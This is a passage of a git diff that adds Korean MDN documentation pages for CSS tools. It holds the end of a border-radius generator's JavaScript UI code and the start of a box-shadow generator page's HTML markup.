+		});
+
+		subscribe(obj.topic, function(value) {
+			input.value = value + obj.unit;
+		});
+
+		return input;
+	}
+
+	var SliderComponent = function SliderComponent(obj, sign) {
+		var slider = document.createElement('div');
+		var startX = null;
+		var start_value = 0;
+
+		slider.addEventListener("click", function(e) {
+			setValue(obj.topic, obj.value + obj.step * sign);
+		});
+
+		slider.addEventListener("mousedown", function(e) {
+			startX = e.clientX;
+			start_value = obj.value;
+			document.body.style.cursor = "e-resize";
+			document.addEventListener("mousemove", sliderMotion);
+		});
+
+		document.addEventListener("mouseup", function(e) {
+			document.removeEventListener("mousemove", sliderMotion);
+			document.body.style.cursor = "auto";
+			slider.style.cursor = "pointer";
+		});
+
+		var sliderMotion = function sliderMotion(e) {
+			slider.style.cursor = "e-resize";
+			var delta = (e.clientX - startX) / obj.sensivity | 0;
+			var value = delta * obj.step + start_value;
+			setValue(obj.topic, value);
+		}
+
+		return slider;
+	}
+
+	var InputSlider = function(node) {
+		var min		= node.getAttribute('data-min') | 0;
+		var max		= node.getAttribute('data-max') | 0;
+		var step	= node.getAttribute('data-step') | 0;
+		var value	= node.getAttribute('data-value') | 0;
+		var topic	= node.getAttribute('data-topic');
+		var unit	= node.getAttribute('data-unit');
+		var name 	= node.getAttribute('data-info');
+		var sensivity = node.getAttribute('data-sensivity') | 0;
+
+		this.min = min;
+		this.max = max &gt; 0 ? max : 100;
+		this.step = step === 0 ? 1 : step;
+		this.topic = topic;
+		this.node = node;
+		this.unit = unit;
+		this.sensivity = sensivity &gt; 0 ? sensivity : 5;
+
+		var input = new InputComponent(this);
+		var slider_left  = new SliderComponent(this, -1);
+		var slider_right = new SliderComponent(this,  1);
+
+		slider_left.className = 'ui-input-slider-left';
+		slider_right.className = 'ui-input-slider-right';
+
+		if (name) {
+			var info = document.createElement('span');
+			info.className = 'ui-input-slider-info';
+			info.textContent = name;
+			node.appendChild(info);
+		}
+
+		node.appendChild(slider_left);
+		node.appendChild(input);
+		node.appendChild(slider_right);
+		node.className = 'ui-input-slider ui-input-slider-container';
+
+		this.input = input;
+		sliders[topic] = this;
+		setValue(topic, value);
+	}
+
+	var setValue = function setValue(topic, value, send_notify) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		if (value &gt; slider.max) value = slider.max;
+		if (value &lt; slider.min)	value = slider.min;
+
+		slider.value = value;
+		slider.node.setAttribute('data-value', value);
+
+		if (send_notify !== undefined &amp;&amp; send_notify === false) {
+			slider.input.value = value + slider.unit;
+			return;
+		}
+
+		notify.call(slider);
+	}
+
+	var setMax = function setMax(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.max = value;
+		setValue(topic, slider.value);
+	}
+
+	var setMin = function setMin(topic, value) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.min = value;
+		setValue(topic, slider.value);
+	}
+
+	var setUnit = function setUnit(topic, unit) {
+		var slider = sliders[topic];
+		if (slider === undefined)
+			return;
+
+		slider.unit = unit;
+		setValue(topic, slider.value);
+	}
+
+	var getNode =  function getNode(topic) {
+		return sliders[topic].node;
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i in subscribers[this.topic]) {
+			subscribers[this.topic][i](this.value);
+		}
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-input-slider');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new InputSlider(elem[i]);
+	}
+
+	return {
+		init : init,
+		setMax : setMax,
+		setMin : setMin,
+		setUnit : setUnit,
+		getNode : getNode,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	}
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	}
+
+	var setValue = function setValue(topic, value) {
+		try {
+			buttons[topic].checkbox.checked = value;
+		}
+		catch(error) {
+			console.log(error);
+		}
+	}
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	}
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	}
+
+	var notify = function notify() {
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	}
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	}
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	}
+
+})();
+
+
+window.addEventListener("load", function() {
+	BorderRadius.init();
+});
+
+var BorderRadius = (function BorderRadius() {
+
+	function getElemById(id) {
+		return document.getElementById(id);
+	}
+
+	/**
+	 * Shadow dragging
+	 */
+	var PreviewMouseTracking = (function Drag() {
+		var active = false;
+		var lastX = 0;
+		var lastY = 0;
+		var subscribers = [];
+
+		var init = function init(id) {
+			var elem = getElemById(id);
+			elem.addEventListener('mousedown', dragStart, false);
+			document.addEventListener('mouseup', dragEnd, false);
+		}
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			active = true;
+			lastX = e.clientX;
+			lastY = e.clientY;
+			document.addEventListener('mousemove', mouseDrag, false);
+		}
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			if (active === true) {
+				active = false;
+				document.removeEventListener('mousemove', mouseDrag, false);
+			}
+		}
+
+		var mouseDrag = function mouseDrag(e) {
+			notify(e.clientX - lastX, e.clientY - lastY);
+			lastX = e.clientX;
+			lastY = e.clientY;
+		}
+
+		var subscribe = function subscribe(callback) {
+			subscribers.push(callback);
+		}
+
+		var unsubscribe = function unsubscribe(callback) {
+			var index = subscribers.indexOf(callback);
+			subscribers.splice(index, 1);
+		}
+
+		var notify = function notify(deltaX, deltaY) {
+			for (var i in subscribers)
+				subscribers[i](deltaX, deltaY);
+		}
+
+		return {
+			init : init,
+			subscribe : subscribe,
+			unsubscribe : unsubscribe
+		}
+
+	})();
+
+	var subject;
+	var units = ['px', '%'];
+	var output = null;
+
+	var UnitSelector = function UnitSelector(topic) {
+
+		this.container = document.createElement("div");
+		this.select = document.createElement("select");
+		for (var i in units) {
+			var option = document.createElement("option");
+			option.value = i;
+			option.textContent = units[i];
+			this.select.appendChild(option);
+		}
+
+		this.container.className = 'dropdown ' + 'unit-' + topic;
+		this.container.appendChild(this.select);
+	}
+
+	UnitSelector.prototype.setValue = function setValue(value) {
+		this.salect.value = value;
+	}
+
+
+	var RadiusContainer = function RadiusContainer(node) {
+		var radius = document.createElement('div');
+		var handle = document.createElement('div');
+		var x = node.getAttribute('data-x');
+		var y = node.getAttribute('data-y');
+		var active = false;
+
+		this.id = node.id;
+		this.node = node;
+		this.radius = radius;
+		this.handle = handle;
+		this.width = 100;
+		this.height = 50;
+		this.size = 0;
+		this.rounded = false;
+
+		this.unitX = 0;
+		this.unitY = 0;
+		this.unitR = 0;
+
+		this.maxW = 100;
+		this.maxH = 100;
+		this.maxR = 100;
+
+		this.topic = y + '-' + x;
+
+		var sliderW = InputSliderManager.getNode(this.topic + '-w');
+		var sliderH = InputSliderManager.getNode(this.topic + '-h');
+		var sliderR = InputSliderManager.getNode(this.topic);
+
+		this.setUnitX(this.unitX);
+		this.setUnitY(this.unitY);
+		this.setUnitR(this.unitR);
+
+		this.updateWidth();
+		this.updateHeight();
+		this.updateRadius();
+
+		if (x === 'left')	this.resizeX =  1;
+		if (x === 'right')	this.resizeX = -1;
+		if (y === 'top')	this.resizeY =  1;
+		if (y === 'bottom')	this.resizeY = -1;
+
+		radius.className = 'radius';
+
+		var unit_selector = document.getElementById("unit-selection");
+		var unitW = new UnitSelector(this.topic + '-w');
+		var unitH = new UnitSelector(this.topic + '-h');
+		var unitR = new UnitSelector(this.topic);
+
+		unit_selector.appendChild(unitW.container);
+		unit_selector.appendChild(unitH.container);
+		unit_selector.appendChild(unitR.container);
+		node.appendChild(radius);
+		subject.appendChild(handle);
+
+		unitW.select.addEventListener('change', function(e) {
+			this.setUnitX(e.target.value | 0);
+		}.bind(this));
+
+		unitH.select.addEventListener('change', function(e) {
+			this.setUnitY(e.target.value | 0);
+		}.bind(this));
+
+		unitR.select.addEventListener('change', function(e) {
+			this.setUnitR(e.target.value | 0);
+		}.bind(this));
+
+		if (x === 'left' &amp;&amp; y == 'top') handle.className = 'handle handle-top-left'
+		if (x === 'right' &amp;&amp; y == 'top') handle.className = 'handle handle-top-right';
+		if (x === 'right' &amp;&amp; y == 'bottom') handle.className = 'handle handle-bottom-right';
+		if (x === 'left' &amp;&amp; y == 'bottom') 	handle.className = 'handle handle-bottom-left';
+
+		handle.addEventListener("mousedown", function(e) {
+			active = true;
+			this.radius.style.display = 'block';
+			PreviewMouseTracking.subscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		document.addEventListener("mouseup", function(e) {
+			this.radius.style.display = 'none';
+			if (active === true)
+				PreviewMouseTracking.unsubscribe(this.updateContainer.bind(this));
+		}.bind(this));
+
+		InputSliderManager.subscribe(this.topic + '-w', this.setWidth.bind(this));
+		InputSliderManager.subscribe(this.topic + '-h', this.setHeight.bind(this));
+		InputSliderManager.subscribe(this.topic, this.setRadius.bind(this));
+
+		ButtonManager.subscribe(this.topic, function(value) {
+			this.rounded = value;
+			if (value === true) {
+				unitW.container.style.display = 'none';
+				unitH.container.style.display = 'none';
+				unitR.container.style.display = 'block';
+				sliderW.style.display = 'none';
+				sliderH.style.display = 'none';
+				sliderR.style.display = 'block';
+				this.setUnitR(this.unitR);
+				this.updateRadius();
+			}
+
+			if (value === false) {
+				unitW.container.style.display = 'block';
+				unitH.container.style.display = 'block';
+				unitR.container.style.display = 'none';
+				sliderW.style.display = 'block';
+				sliderH.style.display = 'block';
+				sliderR.style.display = 'none';
+				this.setUnitX(this.unitX);
+				this.setUnitY(this.unitY);
+				this.updateWidth();
+				this.updateHeight();
+			}
+
+			this.updateBorderRadius();
+
+		}.bind(this));
+
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.updateWidth = function updateWidth() {
+		this.node.style.width = this.width + units[this.unitX];
+		var value = Math.round(this.width / 2);
+		InputSliderManager.setValue(this.topic + '-w', value, false);
+	}
+
+	RadiusContainer.prototype.updateHeight = function updateHeight() {
+		this.node.style.height = this.height + units[this.unitY];
+		var value = Math.round(this.height / 2);
+		InputSliderManager.setValue(this.topic + '-h', value, false);
+	}
+
+	RadiusContainer.prototype.updateRadius = function updateRadius() {
+		var value = Math.round(this.size / 2);
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		InputSliderManager.setValue(this.topic, value, false);
+	}
+
+	RadiusContainer.prototype.setWidth = function setWidth(value) {
+		this.radius.style.display = 'block';
+		this.width = 2 * value;
+		this.node.style.width = this.width + units[this.unitX];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setHeight = function setHeight(value) {
+		this.radius.style.display = 'block';
+		this.height = 2 * value;
+		this.node.style.height = this.height + units[this.unitY];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setRadius = function setRadius(value) {
+		this.radius.style.display = 'block';
+		this.size = 2 * value;
+		this.node.style.width = this.size + units[this.unitR];
+		this.node.style.height = this.size + units[this.unitR];
+		this.updateBorderRadius();
+	}
+
+	RadiusContainer.prototype.setUnitX = function setUnitX(value) {
+		this.unitX = value;
+		if (this.unitX === 0) this.maxW = 2 * subject.clientWidth;
+		if (this.unitX === 1) this.maxW = 200;
+		InputSliderManager.setUnit(this.topic + '-w', units[this.unitX]);
+		InputSliderManager.setMax(this.topic + '-w', this.maxW / 2);
+	}
+
+	RadiusContainer.prototype.setUnitY = function setUnitY(value) {
+		this.unitY = value;
+		if (this.unitY === 0) this.maxH = 2 * subject.clientHeight;
+		if (this.unitY === 1) this.maxH = 200;
+		InputSliderManager.setUnit(this.topic + '-h', units[this.unitY]);
+		InputSliderManager.setMax(this.topic + '-h', this.maxH / 2);
+	}
+
+	RadiusContainer.prototype.setUnitR = function setUnitR(value) {
+		this.unitR = value;
+
+		if (this.unitR === 0)
+			this.maxR = 2 * Math.min(subject.clientHeight , subject.clientWidth);
+
+		if (this.unitR === 1)
+			this.maxR = 200;
+
+		InputSliderManager.setUnit(this.topic, units[this.unitR]);
+		InputSliderManager.setMax(this.topic, this.maxR / 2);
+	}
+
+	RadiusContainer.prototype.updateUnits = function updateUnits(unit) {
+		if (this.rounded) {
+			this.setUnitR(this.unitR);
+			return;
+		}
+
+		if (unit === 0)
+			this.setUnitX(this.unitX);
+
+		if (unit === 1)
+			this.setUnitY(this.unitY);
+	}
+
+	RadiusContainer.prototype.composeBorderRadius = function composeBorderRadius () {
+
+		if (this.rounded === true) {
+			var unit = units[this.unitR];
+			var value = Math.round(this.size / 2);
+			return value + unit;
+		}
+
+		var unitX = units[this.unitX];
+		var unitY = units[this.unitY];
+		var valueX = Math.round(this.width / 2);
+		var valueY = Math.round(this.height / 2);
+
+		if (valueX === valueY &amp;&amp; this.unitX === this.unitY)
+			return valueX + unitX;
+
+		return valueX + unitX + ' ' + valueY + unitY;
+	}
+
+	RadiusContainer.prototype.updateBorderRadius = function updateBorderRadius () {
+		var radius = this.composeBorderRadius();
+		var corner = 0;
+
+		if (this.topic === 'top-left') {
+			subject.style.borderTopLeftRadius = radius;
+			corner = 0;
+		}
+
+		if (this.topic === 'top-right') {
+			subject.style.borderTopRightRadius = radius;
+			corner = 1;
+		}
+
+		if (this.topic === 'bottom-right') {
+			subject.style.borderBottomRightRadius = radius;
+			corner = 2;
+		}
+
+		if (this.topic === 'bottom-left') {
+			subject.style.borderBottomLeftRadius = radius;
+			corner = 3;
+		}
+
+		Tool.updateOutput(corner, radius);
+	}
+
+	RadiusContainer.prototype.updateContainer = function updateContainer(deltaX, deltaY) {
+
+		if (this.rounded === true) {
+			this.size += this.resizeX * deltaX + this.resizeY * deltaY;
+			if (this.size &lt; 0)	this.size = 0;
+			if (this.size &gt; this.maxR)	this.size = this.maxR;
+			this.updateRadius();
+			this.updateBorderRadius();
+			return;
+		}
+
+		if (deltaX) {
+			this.width += this.resizeX * deltaX;
+			if (this.width &lt; 0)	this.width = 0;
+			if (this.width &gt; this.maxW)	this.width = this.maxW;
+			this.updateWidth();
+		}
+
+		if (deltaY) {
+			this.height += this.resizeY * deltaY;
+			if (this.height &lt; 0) this.height = 0;
+			if (this.height &gt; this.maxH)	this.height = this.maxH;
+			this.updateHeight();
+		}
+
+		if (deltaX || deltaY)
+			this.updateBorderRadius();
+	}
+
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview;
+		var preview_ui;
+		var radius_containers = [];
+		var border_width = 3;
+		var borders1 = [null, null, null, null];
+		var borders2 = [0, 0, 0, 0];
+
+		var updateUIWidth = function updateUIWidth(value) {
+			var pwidth = subject.parentElement.clientWidth;
+			var left = (pwidth - value) / 2;
+			subject.style.width = value + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(0);
+		}
+
+		var updateUIHeight = function updateUIHeight(value) {
+			var pheight = subject.parentElement.clientHeight;
+			var top = (pheight - value) / 2;
+			subject.style.height = value + "px";
+			subject.style.top = top - border_width + "px";
+
+			for (var i = 0; i &lt; 4; i++)
+				radius_containers[i].updateUnits(1);
+		}
+
+		var updatePreviewUIWidth = function updatePreviewUIWidth() {
+			var p = subject.parentElement.clientWidth;
+			var v = preview_ui.clientWidth;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.left = (p - v) / 2 + "px" ;
+		}
+
+		var updatePreviewUIHeight = function updatePreviewUIHeight() {
+			var p = subject.parentElement.clientHeight;
+			var v = preview_ui.clientHeight;
+			console.log(p, v, (p - v ) / 2);
+			preview_ui.style.top = (p - v) / 2 + "px" ;
+		}
+
+		var updateOutput = function updateOutput(corner, radius) {
+			var values = radius.split(" ");
+
+			borders1[corner] = values[0];
+			borders2[corner] = values[0];
+
+			if (values.length === 2)
+				borders2[corner] = values[1];
+
+			var border_1_value = borders1.join(" ");
+			var border_2_value = borders2.join(" ");
+			var border_radius = 'border-radius: ' + border_1_value;
+
+			if (border_2_value !== border_1_value)
+				border_radius += ' / ' + border_2_value;
+
+			border_radius += ';';
+			output.textContent = border_radius;
+		}
+
+		var init = function init() {
+			preview = getElemById("preview");
+			subject = getElemById("subject");
+			output = getElemById("output");
+			preview_ui = getElemById("radius-ui-sliders");
+
+			var elem = document.querySelectorAll('.radius-container');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				radius_containers[i] = new RadiusContainer(elem[i]);
+
+			InputSliderManager.subscribe("width", updateUIWidth);
+			InputSliderManager.subscribe("height", updateUIHeight);
+
+			InputSliderManager.setValue("width", subject.clientWidth);
+			InputSliderManager.setValue("height", subject.clientHeight);
+		}
+
+		return {
+			init : init,
+			updateOutput : updateOutput
+		}
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		ButtonManager.init();
+		InputSliderManager.init();
+		PreviewMouseTracking.init("preview");
+		Tool.init();
+	}
+
+	return {
+		init : init
+	}
+
+})();
+
+
+</code></pre>
+</div>
+
+<div>{{ EmbedLiveSample('border-radius-generator', 700, 900) }}</div>
diff --git a/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html
new file mode 100644
index 0000000000..00b22833fb
--- /dev/null
+++ b/files/ko/web/css/css_background_and_borders/box-shadow_generator/index.html
@@ -0,0 +1,2881 @@
+---
+title: Box-shadow 생성기
+slug: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+tags:
+  - CSS
+  - Tools
+translation_of: Web/CSS/CSS_Background_and_Borders/Box-shadow_generator
+---
+<p>이 도구를 사용해 CSS {{cssxref("box-shadow")}} 효과를 생성할 수 있습니다.</p>
+
+<div style="display: none;">
+<h2 id="box-shadow_generator" name="box-shadow_generator">box-shadow generator</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="layer_manager"&gt;
+            &lt;div class="group section"&gt;
+                &lt;div class="button" data-type="add"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-up"&gt; &lt;/div&gt;
+                &lt;div class="button" data-type="move-down"&gt; &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div id="stack_container"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div id="preview_zone"&gt;
+            &lt;div id="layer_menu" class="col span_12"&gt;
+                &lt;div class="button" id="element" data-type="subject" data-title="element"&gt; element &lt;/div&gt;
+                &lt;div class="button" id="before" data-type="subject" data-title=":before"&gt;
+                    :before
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="button" id="after" data-type="subject" data-title=":after"&gt;
+                    :after
+                    &lt;span class="delete" data-type="disable"&gt;&lt;/span&gt;
+                &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='before' data-label=":before"&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='after' data-label=":after"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="preview"&gt;
+                &lt;div id="obj-element"&gt;
+                    &lt;div class="content"&gt; &lt;/div&gt;
+                    &lt;div id="obj-before"&gt; &lt;/div&gt;
+                    &lt;div id="obj-after"&gt; &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+
+    &lt;div id="controls" class="group section"&gt;
+        &lt;div class="wrap-left"&gt;
+            &lt;div class="colorpicker category"&gt;
+                &lt;div class="title"&gt; &lt;/div&gt;
+                &lt;div id="colorpicker" class="group"&gt;
+                    &lt;div id="gradient" class="gradient"&gt;
+                        &lt;div id="gradient_picker"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="hue" data-topic="hue" class="hue"&gt;
+                        &lt;div id="hue_selector"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="hue" data-title='H:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="saturation" data-title='S:' data-action="HSV"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="value" data-title='V:' data-action="HSV"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="alpha"&gt;
+                        &lt;div id="alpha" data-topic="alpha"&gt;
+                            &lt;div id="alpha_selector"&gt; &lt;/div&gt;
+                        &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="info"&gt;
+                        &lt;div class="input" data-topic="r" data-title='R:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="g" data-title='G:' data-action="RGB"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="b" data-title='B:' data-action="RGB"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="preview block"&gt;
+                        &lt;div id="output_color"&gt; &lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="block info"&gt;
+                        &lt;div class="input" data-topic="a" data-title='alpha:' data-action="alpha"&gt;&lt;/div&gt;
+                        &lt;div class="input" data-topic="hexa" data-title='' data-action="hexa"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="wrap-right"&gt;
+
+            &lt;div id="shadow_properties" class="category"&gt;
+                &lt;div class="title"&gt; Shadow properties &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; inset &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='inset'&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position x &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posX"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posX" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posX" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Position y &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="posY"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="posY" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="posY" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Blur &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="blur"
+                            data-min="0" data-max="200" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="blur" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="blur" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Spread &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="spread"
+                            data-min="-100"    data-max="100" data-step="1" data-value="50"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="spread" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="spread" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="element_properties" class="category"&gt;
+                &lt;div class="title"&gt; Class element properties &lt;/div&gt;
+                &lt;div class="group"&gt;
+                    &lt;div class="group property"&gt;
+                        &lt;div class="ui-slider-name"&gt; border &lt;/div&gt;
+                        &lt;div class="ui-checkbox" data-topic='border-state' data-state="true"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="z-index" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; z-index &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="z-index"
+                            data-min="-10" data-max="10" data-step="1"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="z-index" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="z-index"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; top &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="top"
+                            data-min="-500" data-max="500" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="top" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="top" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; left &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="left"
+                            data-min="-300" data-max="700" data-step="1"&gt; &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="left" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="left" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div id="transform_rotate" class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Rotate &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="rotate"
+                            data-min="-360" data-max="360" data-step="1" data-value="0"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="rotate" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="rotate" data-unit="deg"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Width &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="width"
+                            data-min="0" data-max="1000" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="width" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="width"  data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                    &lt;div class="slidergroup"&gt;
+                        &lt;div class="ui-slider-name"&gt; Height &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="sub"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider" data-topic="height"
+                            data-min="0" data-max="400" data-step="1" data-value="200"&gt;
+                        &lt;/div&gt;
+                        &lt;div class="ui-slider-btn-set" data-topic="height" data-type="add"&gt;&lt;/div&gt;
+                        &lt;div class="ui-slider-input" data-topic="height" data-unit="px"&gt;&lt;/div&gt;
+                    &lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output" class="category"&gt;
+                &lt;div id="menu" class="menu"&gt;&lt;/div&gt;
+                &lt;div class="title"&gt;    CSS Code &lt;/div&gt;
+                &lt;div class="group" style="border-top-left-radius: 0;"&gt;
+                    &lt;div class="output" data-topic="element" data-name="element"
+                        data-prop="width height background-color position=[relative] box-shadow"&gt;
+                    &lt;/div&gt;
